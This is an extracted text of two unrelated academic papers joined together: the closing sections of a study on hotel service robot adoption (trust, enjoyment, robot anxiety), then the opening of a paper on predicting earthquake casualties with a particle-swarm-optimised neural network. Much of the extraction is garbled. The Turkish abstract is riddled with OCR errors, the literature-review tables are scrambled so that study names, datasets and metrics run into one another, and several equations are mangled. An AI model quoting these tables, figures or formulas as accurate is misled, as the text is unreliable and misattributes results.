research finding with a small coefficient value, with robot anxiety having been found to have a negative indirect effect (-
0,096) on perceived usefulness.

According to the research findings, the individual’s trusting belief affects enjoyment positively and robot anxiety negatively.
This result will lead to a better understanding of the service robot adoption process. Shaping individuals’ beliefs toward
service robots positively will increase the perception of enjoyment and decrease robot anxiety. In this context, the effect of
trusting belief on affective reactions supports the research of Califf et al. (2020), Lankton et al. (2015), Thatcher et al. (2007),
and van Pinxteren et al. (2019).

In this sense, this study provides valuable contributions in terms of the generalizability of the research results conducted in
different geographies with similar contexts. Furthermore, the current study has provided a fresh understanding of how
trusting belief affects perceived enjoyment and robot anxiety as it relates to the technology adoption process.

4.2 PRACTICAL IMPLICATIONS

How users’ belief systems are persuaded in terms of trusting technology is the most significant practical contribution that
arises from the findings of this study. Reducing users’ risk perception and uncertainty with informative advertisements and
marketing activities, as well as transferring messages, such as refunds and fast human support in the event of a negative
situation that may arise while receiving service from hotel robots will ensure the formation of positive beliefs about robots.
This task should be taken seriously by the management of each hotel, organization, or institution by setting industry standards
and educating consumers, just as in what occurred during the early adoption phase of internet banking (Jaruwachirathanakul
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& Fink, 2005; Martins et al., 2014). While online banking delivered substantial cost savings for banks, users sensed a high
level of risk and uncertainty at the start. However, advertising messages emphasized that this technology is trustworthy,
provides assurance, is simple to use, and provides significant benefits to customers. Additionally, the promotional advantages
provided to customers by performing their banking transactions online have encouraged widespread adoption of online

banking.

Using robots in hotel services is still in its early stages, so it will be more reasonable to form positive beliefs by using them
for routine services, such as luggage carrying or cleaning, rather than having robots which intensively interact with guests,
like reception or concierge robots, as stated by Huang et al. (2019). Lin & Mattila (2021) indicate that most consumers still
prefer a person at the front desk to a receptionist robot. In this regard, the Henn-na Hotel, which was totally run by robots,
ceased operations in 2019, resulting in negative public perception for the industry in terms of robot use. Nevertheless,
according to Shead (2019), there was only one successful robot at the Henn-na Hotel. It was the massive mechanical arm that
placed and retrieved baggage from storage bins. According to our findings, creating a marketing strategy with an advertisement
message that includes an image of error-free, enjoyable, useful, and easy to operate robots is essential for the hospitality
industry to promote adoption.

The negative effect of the trusting belief in robots on the individual’s robot anxiety will also make a significant practical
contribution. When interacting with robots, users should be able to choose from various programs based on their level of
technical knowledge (Miller et al., 2021). It will surely be effective for visitors who are using a robot for the first time to be
guided with more information, such as the robot’s capabilities, functioning, potential benefits, limits, and possible risks, to

reduce state anxiety due to their beliefs.

The design and performance of robots play an influential role in the formation of trust belief (Naneva et al., 2020); for
example, the appearance of the suitcase carrier robot causes an expectation about how much luggage it can carry in the mind
of the customer (Luo et al., 2021), or more humanized service robots may cause the customer to perceive that it can perform
more human-like tasks (Tung & Law, 2017). However, it should not be overlooked that visitors’ aversion can be easily triggered
by a high degree of anthropomorphism (Jia et al., 2021). In this sense, since service robot design will become influential in
forming trusting beliefs, the demographic characteristics of the customer (de Kervenoael et al., 2020) and even cultural
characteristics (Tung & Law, 2017) will undoubtedly mediate this effect. Therefore, service robots’ integration into the mass
market will be more efficient and stable after a detailed research process which considers the target market with different
customer segments for the hospitality industry.

In our research findings, it has been found that perceived enjoyment has a significant positive effect on the adoption of robots,
especially through perceived usefulness. According to El-Said & Al Hajri (2022), the use of multimedia for a waiter or room
service robots may increase the enjoyment perception of customers by making ordering and receiving functions more effortless
and more functional. Playing music or flickering light while receiving or bringing orders and playing games with robots

while waiting may also be effective in entertainment.
5 CONCLUSION, LIMITATIONS, AND FUTURE STUDIES

The usage of robots in the hospitality industry is becoming more common due to the benefits they provide to service providers
and customers. Trusting belief has been the main thrust of this study, and the variables of enjoyment and robot anxiety as
affective reactions were integrated with the core TAM model and tested statistically. Our findings show that trusting belief
influences emotional reactions, as mentioned in IS-based studies; additionally, our research on hotel service robots as novel
technological agents validated the core TAM model assumptions with external variables. In this respect, this study reveals
these relations for the first time, to the best of our knowledge, and fills an important gap in the literature of Management

Information Systems and Tourism.

The data were collected by the survey method, with the convenience sampling approach based on the non-probability technique
being preferred due to time and cost constraints. This approach especially reduces the representation ability of the universe
and makes it difficult to generalize hypotheses. The results should thus be evaluated within this scope. Preferring probabilistic
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sampling methods in future studies will help compare the results of our findings and other studies’ results in the relevant
literature.

In our study, respondents were instructed to complete the survey based on the content of the video they had watched rather
than their personal experiences. Although there are experimental studies in the literature, future studies may evaluate robot
adaptability in the hotel environment by enabling guests to interact with robots. Surveys or focus group studies conducted

by robots would surely provide valuable information to the literature.

As we mentioned in the literature review, many different types of robots can be used in hotel services. Although the general
acceptance studies of these robots provided helpful information, evaluating service robots separately in academic studies
will provide much more helpful information. Focusing primarily on robots that do routine tasks is regarded as a more realistic
and pragmatic contribution for today.

In most of the studies included within the scope of the research, the survey technique and structural equation modeling were
used. Text mining, using data logged in robots, and predicting consumer needs and demands using a variety of machine

learning algorithms will surely support method diversity and provide new visions to the literature in future research.

Furthermore, it has been observed that research is extensively carried out in the nations of the Far East. Encouraging new
studies that consider different countries and cultures will significantly contribute to the literature in this context.
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ABSTRACT

Earthquakes are among the most challenging natural phenomena to predict. Most of these unpredictable
earthquakes result in the loss of human lives and property. Seismologists can estimate the probable location and
magnitude of such earthquakes. However, the actual time and extent of their impact remain unknown. If the
effects of possible earthquakes can be predicted, quick and accurate decisions can be made. For this purpose,
developing predictive models about earthquakes is a prevalent and vital issue in the literature. In this study,
various Machine Learning (ML) algorithms were compared on a public dataset of earthquakes, which had
occurred worldwide and had a local magnitude Ml > 3, and the algorithm with the highest performance was
selected and optimized with various other algorithms. The performances of the models were compared using
different performance evaluation metrics such as accuracy, Mean Square Error, Root-Mean Square Error,
precision, recall, and f1 score. As a result, it was observed that the Artificial Neural Network (ANN) algorithm
optimized with the Particle Swarm Optimization (PSO) algorithm produced the most successful result with an
accuracy value of 0.82. Based on the obtained results, it is believed that this model can be used in different
earthquake damage prediction studies and as a guide in emergency planning.

Keywords: Earthquake, Damage prediction, Machine learning, Optimization algorithms, Artificial neural
networks, Particle swarm optimization

oz

Depremler, tahmin edilmesi en zor doga olaylar1 arasinda yer almaktadir. Bu dngoriillemeyen deprem-lerin
ardindan ¢gogu zaman can ve mal kayiplari meydana gelmektedir. Depremler dnceden kesin olarak belirlenemese
bile deprem bilimciler tarafindan olast konumlari1 ve biyiiklikleri yaklasik olarak tahmin edilebilmektedir.
Ancak, bu depremlerin zamani ve birakacagi etkinin boyutu bilinme-mektedir. Eger olasi depremlerin etkileri
onceden tahmin edilebilirse, arama kurtarma ¢aligmalar: sirasinda ekiplerin hizli ve dogru kararlar almasi
saglanabilir ve bu sayede 6zellikle can kayiplarinin 6niine gegilebilir. Bu amag dogrultusunda depremlerle ilgili
tahmin modelleri gelistirmek giiniimiizde olduk¢a yaygin ve hayati bir konudur. Bu ¢aligmada ise diinya genelinde
gerceklesmis yerel biiyiik-liigii MI>3 olan agik kaynakli deprem verileri kullanilarak farkli Makine Ogrenmesi
algoritmalar1 karsilastirilmis ve en yiiksek performansa sahip olan algoritma segilerek ¢esitli algoritmalar ile
opti-mize edilmistir. Modellerin performansi dogruluk, Ortalama Kare Hata, K6k-Ortalama Kare Hata, kesinlik,
geri cagirma ve f1 puani gibi farkli performans degerlendirme metrikleri kullanilarak karsi-lagtirtlmistir. Sonug
olarak PSO algoritmast ile optimize edilmis ANN algoritmasinin 0.82 oraninda dogruluk degeri ile en basarili
sonucu Urettigi gozlemlenmistir. Elde edilen sonuglara bakildiginda bu modelin farkli deprem hasar tahmin
¢aligmalarinda ve acil durum planlamasinda yol gosterici olarak kullanilabilecegi diistiniilmektedir.

Anahtar Kelimeler: Deprem, Hasar tahmini, Makine 6grenmesi, Optimizasyon algoritmalari, Yapay sinir
aglari, Parcacik siiriisii optimizasyonu
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1. INTRODUCTION

Earthquakes occur due to the fact that sudden vibrations, which emerge as a result of fractures in the earth’s crust, spread
in waves and shake the ground. This natural phenomenon, which is difficult to predict today, has caused many casualties
and property loss over the centuries. Therefore, human beings have been trying to detect and predict earthquakes with the
help of various signs since primitive times to take precautions when necessary. Thanks to the developing science and
technology, scientists who base these predictions on mathematical and statistical methods have tried to make earthquake
predictions by probability-related methods, especially by using the location, time, and magnitude parameters of previous
earthquakes. In addition, damage caused by earthquakes has been examined similarly, with attempts to predict possible
damage using artificial intelligence-based algorithms, especially in recent years. In order to develop earthquake damage
prediction models by using artificial intelligence-based methods, data of the effects of previous earthquake in the designated
region are used. This data usually consists of such information as the location of earthquakes, their severity, the number of
people lost, the number of people who died, the number of buildings destroyed, and the value of material damage emerging
in the location of the earthquake (NOAA, 2021). The earthquake intensity in the collected data is measured indirectly based
on certain standards (Table 1). These values are calculated by examining the effects of earthquakes, with various magnitude
values which identify the earthquake being obtained through multiple methods (Kandilli Observatory and Earthquake
Research Institute, 2021).

Table 1

Earthquake magnitude scales and their tasks

Earthquake magnitude scales Symbol Explanation

Earthquake Duration Magnitude Md Measured by using the vibration time on the seismometer.

Local Magnitude Ml Measured by using the amplitude of the sound wave.

Surface Wave Magnitude Ms Measured by using wave amplitude spread from the epicenter to the environment.

Body Wave Magnitude Mb Measured from the early portion of the body wave train that is usually associated
with the P-wave.

Momentum Magnitude Mw Calculated by performing the mathematical model of the earthquake.

In some studies (Epstein & Lomnitz, 1966; Bath, 1979; Moustra, Avraamides & Christodoulou, 2011; Reye, Morales-Esteban
& Martinez-Alvarez, 2013), data were given to statistical or artificial intelligence-based models, and the magnitude of possible
casualties in earthquakes was predicted. The magnitude of the damages and casualties vary depending on the areca where
the earthquake occurred and the structure of the existing buildings. By learning the data related to the properties and effects
of earthquakes that occurred in various countries through the developed ANN-based model, this study aims to predict and
prevent human casualties that may arise due to a possible earthquake in any country in the world. To this end, preprocessing
processes were first applied to the considered dataset. Then, we compared the results of some traditional ML algorithms,
such as Decision Tree (DT), Naive Bayes (NB), Support Vector Machine (SVM), Logistic Regression (LR), and also ANN
according to various metrics, to find the best Machine Learning (ML) method used on the preprocessed dataset. ANN has
been shown to obtain the best accuracy result among the other methods. After that, various optimization algorithms, such
as Gradient Descent (GD), Mini-Batch Stochastic Gradient Descent (MBSGD), RMSProp, Adaptive Moment Estimation
(ADAM) optimizer, and heuristic algorithms, such as Genetic Algorithm (GA) and PSO, were applied to improve the
performance of the ANN method. ANN optimized with PSO (PSO-ANN) achieved the best results based on various
performance evaluation metrics, such as: accuracy, MSE, RMSE, precision, recall, and f1-score. The main contributions of

the study can be highlighted as follows:

A detailed literature review on earthquake prediction is presented, and the well-known ML methods used in these studies
were determined and evaluated.

As a result of the literature review, it has been determined that ANN and PSO are among the frequently used ML methods
for earthquake prediction. However, it has also been observed that there are a limited number of studies using ANN and PSO
for earthquake damage and casualty prediction in the literature. Therefore, the proposed PSO-ANN model in this study is

novel for earthquake damage prediction.
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The dataset utilized in the model training of this study has not been encountered in earthquake damage prediction models
in the literature.

Various ML models and different optimization and heuristic algorithms have been applied. The results show that the developed
PSO-ANN model outperforms the established counterparts based on various performance evaluation metrics.

The developed PSO-ANN model was determined as an appropriate model to predict earthquake damages, according to its

high accuracy.
2. LITERATURE REVIEW

Various studies in the literature use evolutionary algorithms within the scope of earthquake studies. These studies, which
estimate possible human casualties after an earthquake, are summarized in Table 2 according to: the datasets used, the models
used for the prediction, the metrics used to evaluate the model, and the model performance evaluations.

Table 2
Models used in earthquake prediction studies and performance evaluation of these models
Studies Dataset Target Models Metrics Model Performance Evaluation
Aghamohammadi et . Dead predicted-RMSE:0.021
al. 2013 Bam in 2003 Damage assessment BPNN RMSE Injured predicted-RMSE:0.042

. . RW v-SVM, Dead predicted-MSE:0.0412
Xing et. al., 2015 China in 1970-2015  Damage assessment SVM. BPNN MSE Injured predicted-MSE:0.0211

. - GBDT MAE GBDT-MAE:0.441, MSE:0.343
Cui et. al., 2021 China in 1966-2017  Damage assessment XGBoost MSE XGBoost- MAE:0.445, MSE:0.346
Xia Wang et al., 2011 China in 1990-1995  Damage assessment BPNN - Close results were produced
(Mw>5) earthquakes .
Gul and Guneri, 2016~ in Turkey in 1975-  Damage assessment ~ LM- ANN R Able to correctly predict the number of
2016 survivors

LR-MSPE: 3.30700, R”:0.53

LR, BR, SAR, MSPE R’ BR-MSPE: 0.00052, R*:0.65
SBR SAR-MSPE: 0.00044, R*:0.91
SBR-MSPE: 0.00041, R?:0.61

(Ms>5) earthquakes in

Turk 1,2014
urkan and Ozel, 20 Turkey in 1900-2012

Damage assessment

Asim et al., 2018 Pakistan in 1980-2016 i‘;ﬁi‘iﬁe GP-Adaboost  Accuracy  Hindikush 87%, Chile 84.5%, Pannakat 86%
(Mw>6.5) Himalaya Earthquake BPNN, : . . )
Tao, 2015 and Nepal prediction BPNN-GA MSE BPNN-Nepal: 0.010 Himalaya: 0.032
. . Earthquake BA-ANN, BA-ANN-Azad 0.0091, Balochistan 0.015,
Saba et al., 2017 Pakistan in 2002-2012 prediction BPNN MSE Hindikush 0.027
Li and Liu, 2016 Coastal areas Earthquake BPNN, PSO- MAE PSO-BPNN:0.031
prediction BPNN
Abraham and Rohini, . Earthquake PSO-BPNN model is more successful than a
2019 Japan in 2010-2016 prediction PSO-BPNN MSE simple BPNN model.

. Ludian region of Earthquake ANN, o N
Xietal., 2019 China prediction PSO-ANN Accuracy ANN-76.5%, PSO-ANN-82.5%
Moavedi et al.. 2019 Laleh valley in Earthquake ANN, R ANN- RMSE: 0.111, R?:0.9733

oayedietal, western Iran prediction PSO-ANN RMSE PSO-ANN-RMSE: 0.104, R?: 0.9717

Earthquake ANN, R’ ANN-RMSE: 0.057, R*:0.915
Gordan et al., 2016 699 FOS data prediction PSO-ANN RMSE PSO-ANN-RMSE: 0.022, R?:0.986
Shiuly et al., 2020 Himalayan .reg ion of Earth.qu.a ke ANN, GA - Correlation coefficient of GA is lower
India prediction
Jena and Pradhan, 2020 Aceh, Indonesia Earthquake risk AHP-TOPSIS - Showed that 10’2.5 2 and 44."443. people
assessment belonged to very high and high-risk zones
Alizadeh et al., 2018a Tabriz City, Iran Earthquake hazard ANN Pearsop Developed a novel computational framework
assessment Correlation
Tabriz City, Iran Farthquake Pearson
Alizadeh et al., 2018b ¥ vulnerability ANP-ANN . A new ANP-ANN model was established
Correlation
assessment
Ahmad et al., 2014 Pakistan Earthguak.e loss Probabilistic ) Two methods for structures assessment are
estimation framework found comparable
Ahmad et al., 2012 Pakistan SelSl‘l‘ll.C. A new model ) The aim of the study was to understand the
vulnerability damage mechanism of the model.
Ahmad, 2019 - Fragility Functions Probabilistic - Seismic fragility functions were derived.
framework
Earthquake . .. . .
Yuan, 2021 Global earthquake data magnitude K-means PPV, NPV, A seismic prediction model using clustering
prediction Sn, Sp, Avg of global earthquake data is presented.
Shan et al., 2020 Qlabugla Gethermal Earthquake risk ANN ) The regional tectonic evolution based on the
Field, China assessment survey data
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PPV is a predictive positive value, NPV is a negative predictive value, Sn is sensitivity, Sp is specificity, and Avg is average,

BPNN is Backpropagation Neural Network

To show the general beneficial usage of ANN in natural disaster prediction, the recent literature is given in below and

summarized in Table 3.

Table 3

Models used in natural disaster prediction studies and performance evaluation of these models

Studies Dataset Target Models Metrics Model Performance Evaluation
accuracy:71.19 %
Gessapg and Jenelata Sub- flood mitigation ANN accuracy, RMSE, RMSE: 1.45,
Lasminto, 2020 watershed Corr. coeff.
Corr. coeff.:0.6
Dhunny et al., 2020 Mauritius flood prediction ANN accuracy High-level accuracy in flood prediction.
SVM MSE: 0.00792, RMSE: 0.03064,
R%0.9818
. .. ANN, RBFNN, ) RBF-FFA MSE: 0.00776, RMSE: 0.03078,
Sahoo et al., 2021 Barak River flood prediction SVM., FA, R2, MSE, RMSE R20.9712
FFBPN MSE: 0.00698, RMSE: 0.03311,
R%:0.8821
Karnataka and Linear Rearession Linear Regression MAE:40.2467874
Rani et al., 2020 Maharashtra flood monitoring ANN %VM ’ MAE ANN MAE: 90.606787
’ SVM MAE: 21.8097545
Obasi et al., 2020 Anambra-Imo. river discharge ANN R? Average 0.95
River forecasting
Ranit and Durge, Wardha river flood prediction ANN ) By using the forecas.ted mﬂow, rate of mﬂpw
2019 in reservoir can decide the time of operation
Upper Yamuna .. R2, SSE, MSE, Showed that model has less SSE, MSE and
Bano et al., 2021 Basin flood prediction ANN RMSE RMSE.
Hadid et al., 2020 north of France  flood prediction . LSTM and - Usage of PWARX systems in the flood
piecewise func. forecast field.
Elouztl(;};gmoume et Salat river flood prediction  Bayesian networks - The model showed good performances.
Dazzi et al., 2021 Parma River flood prediction ~ SVR, MLP, LSTM RMSE, NSE RMSE < 15 and NSE > 0.99
Zhou et al., 2020 Yangtze River flood prediction Kalmar;uliflrl\tler with - Hybridizes Kalman Filter with RNN.
Zhan et al., 2020 Yangtze River flood prediction VBNN - VBNN obtalnedrlzlsourlisaccurate forecast
. . . 5
Anupam and Pani, Brahmani river  flood prediction ELM-PSO R% MSE Considerable accuracy in terms of R? and
2020 MSE.
Chawla and Singh, North-Western avalanche Random Forest technique for avalanche
. . Random forest - .
2021 Himalaya forecasting forecasting.
Kaur et al., 2020 North-Westem avalanche HMM., NN, ANN ) Different models hel.ve been developed with
Himalaya forecasting same input data.
Joshi et al., 2020 North -Western avalanch ¢ ANN RMSE’A stgndard RMSE of all parameters has been found.
Himalaya forecasting deviation
Choubin et al.. 2020 Taleghan avalanche GAM, MARS, ?)iz;r;z};ﬂia (?aﬁla Accuracy > 0.88, Kappa > 0.76, Precision >
v watershed forecasting BRT, SVM AUC 0.84, Recall > 0.86, AUC > 0.89
- western region of rainfall Precipitation with parameters affect rainfall
Adjei etal., 2021 Ghana forecasting LST™ MSE, RMSE forecast efficiency of the LSTM model.

SVR is Support Vector Regression, MLP is Multi-Layer Perceptron, RNN is Recurrent Neural Networks, VBNN is Variational
Bayesian Neural Network, ELM-PSO is Extreme Learning Machine-Particle Swarm Optimization, HMM is Hidden Markov
Model, AUC is area under ROC curve, and LSTM is Long Short-Term Memory.

When these studies are evaluated, it is seen that most of the studies conducted on earthquakes relate to predicting them. The
ANN structure, bio-inspired algorithms, such as PSO and GA, and their combinations with hybrid models are widely used
in such studies, and high-performance results are obtained according to performance evaluation metrics. On the other hand,
it is also observed that the use of ANN and other bio-inspired algorithms in earthquake damage prediction studies are limited
in number. Most damage prediction studies rely on traditional ML methods. Various datasets with different features and

data types are used in these papers.
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In this paper, the prediction of human casualties that might occur in earthquakes was performed using the PSO-ANN structure,
an evolutionary-based ANN model. For this purpose, an open-source dataset was used which was obtained from the National
Environmental Information Center (NOAA) (2021). This dataset contains such information as: latitude, longitude, Ml size,
depth, loss of life, and property of earthquakes occurring worldwide. The results obtained using different parameters were
evaluated and compared to the results obtained with other methods based on: accuracy, MSE, RMSE, precision, recall, and
fl-score metrics.

The dataset utilized in the model training of this study has not been encountered in the earthquake damage prediction models
recommended in the literature. As a result, the dataset and the proposed model used in this earthquake damage prediction
study are unique and will contribute to both the literature and the field of practical application.

3. MATERIALS and METHODS
3.1 Dataset and Preprocessing

The dataset used in the study was taken from NOA A (2021) database. In this study, all earthquakes that occurred in the world
and caused deaths are included. In the dataset, there are 2,317 pieces of data and 48 features (date, time, location, depth of
focus, longitude, latitude magnitude, intensity, damage predictions such as total deaths, injuries, damaged houses, and
destroyed houses). However, although a large number of features are described in this dataset, it remains unbalanced because
it does not have equal or close numbers of data from each class. In addition, much of the data has no value above 50%.
Therefore, such data was removed from the dataset for the study, leaving 14 features available for inspection. These features
are shown in Table 4.

Table 4

Features and description of the dataset used in the study

Data Feature Explanation Data Type Empty value (%)
Year The year the earthquake occurred Numeric 0.0
Country The country of the earthquake Text/Nominal 0.0
Region Codes of the regions Nominal 0.0
Location Name The city of the earthquake Text/Nominal 0.0
Latitude Line segments dividing the earth into cross-sections for positioning Numeric 0.302
Longitude Line segments dividing the earth into longitudinal sections for positioning Numeric 0.302
Focal Depth (km) Depth of the earthquake as km Numeric 44.15
Mag (MI) Local magnitude of the earthquake Numeric 19.03
Mag (Ms) Earthquake surface wave size Numeric 41.21
MMI Int Modified Mercalli intensity scale Numeric 43.33
Deaths The number of casualties Numeric 17.09
Damage Description Damage size Nominal 0.0
Houses Destroyed Description Destroyed house size Nominal 49.58
Deaths Description Category of casualties Nominal 0.0

Missing data in some of these features used in the dataset may adversely affect the learning ability of the model. In order to
avoid this situation, missing data in this study were completed using the interpolation method. It is known that when the
model is trained by selecting the useful features in the dataset, a decrease in training time, an increase in interpretation skills,
and an increase in performance can be achieved by preventing overfitting. Therefore, feature selection was performed after
the deficiencies in the dataset were completed. In the study, the correlation method, which is a statistical technique used to
evaluate the relationship between each input variable and the target variable, was chosen. Thus, the learning speed and

performance of the model were increased by eliminating unnecessary features from the dataset.

The correlation relationship between the features can be seen in the temperature map given in Figurel below. When the map
was examined, it was observed that there were high correlations between some features. The threshold value was determined
as 7=0.45 and one of the features with a value above this threshold value was removed from the dataset. Accordingly, the
features that have higher correlations than the threshold value are listed below:
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Figure 1. Correlation map of properties
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It was necessary to remove a feature in each group from the dataset. Then, data with text/nominal data type was converted by

the algorithm to numeric data in order to produce a more significant result. This process was carried out by the label-encoder

method, which converted each value into a number. The properties in the new dataset obtained are shown in Table 5.

Table 5
The latest version of the dataset
Data Feature Explanation Data Type Variable Type Empty value (%)
Year The year the earthquake occurred Numeric Dependent 0.0
Country The country of the earthquake Numeric Dependent 0.0
Latitude Line segments dividing the earth into cross-sections for Numeric Dependent 0.0
positioning
Longitude Line segments dividing the earth into longitudinal sections ~ Numeric Dependent 0.0
for positioning
Focal Depth (km) Depth of the earthquake in km Numeric Dependent 0.0
Mag (MI) Local magnitude of the earthquake Numeric Dependent 0.0
MMI Int Modified Mercalli intensity scale Numeric Dependent 0.0
Deaths The number of casualties Numeric Dependent 0.0
Damage Description Damage size Nominal Dependent 0.0
Houses Destroyed Description ~ Destroyed house size Nominal Dependent 0.0
Deaths Description (output) 1: ~1-50 people Nominal Independent 0.0
2: ~51-100 people
3: ~101-1000 people
4: ~1001 or more people
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3.2 Machine Learning Models
3.2.1. Decision Tree

Decition Tree (DT) is one of the most widely used methods for supervised learning. This method can handle both categorical
and numerical data, whereas other techniques are specialized for only one type of variable. DTs used in data mining are
mainly of two types: classification tree and regression tree. There are various DT algorithms in use today, such as: ID3, C4.5,
CART, CHAID, and MARS (Rathee and Mathur, 2013; Hssina, Merbouha, Ezzikouri & Erritali, 2014).

3.2.2 Naive Bayes

Bayes’ theorem is of fundamental importance for inferential statistics and many advanced ML. Bayesian reasoning is a
logical approach to updating the probability of hypotheses in the light of new evidence, and it has a very important place in
science (Berry, 1996).

A Neural Network (NN) consists of an input layer, hidden layers, and an output layer. In particular, given the input data
X={x,,...,x,} and output data Y={y,,...,y,} with N data points, the input and output data can be modeled with the parameters
w as Y=NN(X,w) where w can be trained by backpropagation. Then the model output value y* can be forecast by giving a
new input point x* through the network y*=NN(x* w). As for Bayesian Neural Networks (BNN), the values of the parameter
o are initialized following a prior distribution p(w). Then the output and input training dataset, X,Y is used to obtain the
optimal posterior distribution p(w|X,Y) of the BNN model parameters.

3.2.3 Support Vector Machine

Support Vector Machine (SVM) is a binomial classification algorithm that builds computational classification models that
assign samples into two or more classes, which can be applied to prediction or diagnosis. SVM is fundamental because of
theoretical reasoning; it is robust to a large number of variables and small samples, can learn both simple and high complex
classification models, avoids overfitting by using complex mathematical principles, and provides reliable results (Hardin,
Duviella & Lecoeuche, 2011).

3.2.4 Logistic Regression

Logical Regression (LR) is a mathematical modeling approach that can be used to describe the relationship of several inputs
to a dichotomous dependent variable. While other modeling approaches are also possible, LR is by far the most popular
modeling procedure used to analyze, for example, epidemiologic data (Kleinbaum and Klein, 2010).

3.2.5 Artificial Neural Network

Artificial Neural Networks (ANN) are structures designed by the inspiration of the learning and remembering abilities of
biological neurons in the human brain that imitates the synaptic connection between biological neuron cells and these cells.
This structure learns by using existing examples. Based on this learning, these models can respond to reactions from the
environment. Instead of storing the information in memory the way classical computers do, this model has a distributed
structure that spreads the information it obtains to the whole network with weights.

Traditional neural networks are basically divided into two: single-layer and multi-layer perceptrons. Structures that produce
output by passing the input parameters through the activation function are known as a single-layer perceptron, while structures
that feed the input parameters to the hidden layers, transfer them from the hidden layers to other hidden layers, and then
produce the output value are known as multi-layer perceptrons.

The multi-layer ANN algorithm, which emerged for the first time in the 1960s, became popular with an article published by
Rumelhart, Hinton, and Williams (1986). This multi-layer perceptron consists of input, output, and hidden layers. Each
hidden layer consists of numerous perceptron’s, which are called hidden layers. This structure is divided into two, as forward
and backward propagation. Thanks to the forward and backward propagation methods of multi-layer perceptrons (Fig. 2),
the network performs the classification process by learning from the labeled data.
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Figure 2. Forward and Backward propagation multi-layer neural network algorithm

The feedforward neural network (FFNN) is represented by the input layers X and the £ neuron in the layers which is shown
in eq.(1) and eq.(2). i step, k™ neuron output is represented by the Y output value. Each neuron in the intermediate layers
receives the information from all neurons in the input layer with the effect of the connection weights (W). (j: weight value
linking to middleware element)

Y = Xy (M
NET# = Yoy WiYe @)

Any factivation function whose derivative can be taken is used, which is shown in eq. (3).

Y* = f(NET) 3

Using BPNN, the error is shared among the weights (Fig. 2), and thus the learning of the network is strengthened, which is
shown in eq.(4). The error value of the network is obtained by taking the difference between the expected value 7 and the
output value Y . The error for the m™ neuron is Em.

Ep = Tp—Yp )

Calculation of the difference between the expected value and the actual output after training the network according to the
input-output data underlies the FFNN algorithm. The error is reduced by sharing the calculated error value proportionally
to the neuron weights. This method can produce good results on linear and nonlinear problems (Goodfellow, 2016). In this

study, an FFNN with two hidden layers and one output layer was used in the proposed model for earthquake damage estimation.
3.3 Optimization Algorithms for ANN
3.3.1 Gradient Descent

Gradient Descent (GD) is an iterative algorithm whose purpose is to make changes to a set of parameters to reach an optimal
set of parameters that leads to the lowest loss function value possible. A loss, cost, or objective function is the function whose
value we seek to minimize. The form of the loss function looks as eq. (5):

lossfunction = f(w) )
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When performing GD, each time we update the parameters, we expect to observe a change in minf(w). At each iteration, the
gradient of the function that contains parameters in w is taken so that changes in the function with respect to parameters
bring us closer to the goal of reaching an optimal set of parameters that will ultimately lead to the lowest possible loss function

value.
3.3.2 Mini-Batch Stochastic Gradient Descent

Stochastic Gradient Descent (SGD) is a variation of GD that randomly samples one training sample from the dataset to be
used to compute the gradient per iteration. SGD works well because we are using just one data point to calculate the gradient,
update the weight vector w, and compute the loss function value. Sampling more than one sample to compute the gradient
for SGD such that 1 <b <n is referred to as Mini-Batch Stochastic Gradient Descent (MBSGD) (Botton, 2010)

3.3.3 RMSProp

RMSProp is a variant of the Gradient Descent Algorithm. It is an unpublished, adaptive learning rate method proposed by
Geoff Hinton (Mcmahan and Streeter, 2014).

3.3.4 Adaptive Moment Estimation

ADAM optimizer is a method that computes adaptive learning rates for each parameter. ADAM stores an exponentially
decaying average of past squared gradients v, like Adadelta and RMSprop. It also keeps an exponentially decaying average
of past gradients m,, similar to momentum eq. (6). g, represent gradients at timestep ¢ f represent exponential decay rates
for the moment estimates.

me = fime_y + (1 — B1)ge

ve = Bovey + (1= Br)g¢ 6)

m, and v, are estimates of the first moment and the second moment €) of the gradients, respectively, hence the name of the
method (Kingma and Ba, 2015).

3.4. Heuristic Algorithms for ANN
3.4.1 Genetic Algorithm

Similar to other evolutionary algorithms, the main operators of the Genetic Algorithm (GA) are selection, crossover, and
mutation. Every solution corresponds to a chromosome, and each parameter represents a gene. GA evaluates the fitness of
each individual in the population using a fitness function. In order to improve weak solutions, the most suitable individuals
are selected and their genes are passed on to the next generation. This operator is more likely to select the good solution since
the probability is proportional to the fitness value. What increases local optima avoidance is the probability of selecting poor
solutions. This means that if good solutions are trapped in a local solution, they can be pulled out with other solutions. Because
GA is stochastic, it is understandable to question its efficiency and reliability. What makes this algorithm reliable and able
to estimate the global optimum for a given problem is the process of maintaining the good solution in each generation and
using them to improve other solutions (Mirjalili, 2019).

Five phases are considered in a genetic algorithm.

Initial population: A set of individuals, called a population, is characterized by a set of parameters (variables) known as

genes. Genes are combined into a string to form a Chromosome (solution).

Fitness function: The fitness function determines an individual’s ability to compete with other individuals. By giving each
individual a fitness score, the probability of the individual being selected for reproduction is determined.

Selection: It selects the two most suitable individuals (parents) and transfers its genes to the next generation. Individuals
with high fitness have a greater chance of being selected for breeding.
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Crossover: For each parent pair to be bred, a crossover point is chosen randomly from among the genes. Offspring are created
by exchanging the parents’ genes.

Mutation: In order to preserve diversity within the population and prevent premature convergence, some genes are sometimes

mutated in new offspring with a low probability.
3.4.2 Particle Swarm Optimization

Particle Swam Optimization (PSO) is an heuristic algorithm which was designed by Eberhart and Kennedy in 1995 and
based on inspiration from the behaviors of bird swarms. In other words, this algorithm is a population-based heuristic
algorithm developed based on the ability of swarms of animals, such as fish, birds, and insects, to find food sources and

survive.

The particles (p) represent the animals in the swarm, and each particle adjusts its position to the best position in the swarm
by using its previous experience. Particles move at certain velocities (v) in each iteration and update their velocities and
positions based on the information from the previous step. At each time step t in the simulation, the velocity of the i th particle
is represented as v,. The update process keeps their best positions in each step-in memory and adjusts their other movements
according to this position. In this case, the best position (p,, ) of the particles is found for each iteration. The best position
of the particle is calculated with the argmin objective function, which gives the minimum which is shown in eq. (8).

pi = (Pix, Pizy - Pu)i = 12,3, .. N (7)
Ppest (t) = arggminf (p; (1)) ®)
The particle that has the best position in the swarm is followed by other particles. Therefore, among the (pbest)s, the minimum
value is calculated using the argmin function, and the global best position (gbest) is obtained, which is shown in eq. (9).
Grest (V= arg;minf (p;(t + 1)) ©)
Thus, in each iteration, pbest and gbest can be obtained, and the particle’s position and velocity can be updated. This process

continues until the goal is reached, which is shown in eq. (10) and (11). ¢, c,represent learning constants; R, R, represent
randomly generated 0~1 random number; and xij represent current position of particle.

5 (¢ 4+ 1) = 05O + CaRy (P, (O = 35O + €2Ro (Gnese © = 75 ©)) W)
xi;(t+1) = x;;(t) +vy;(t + 1)

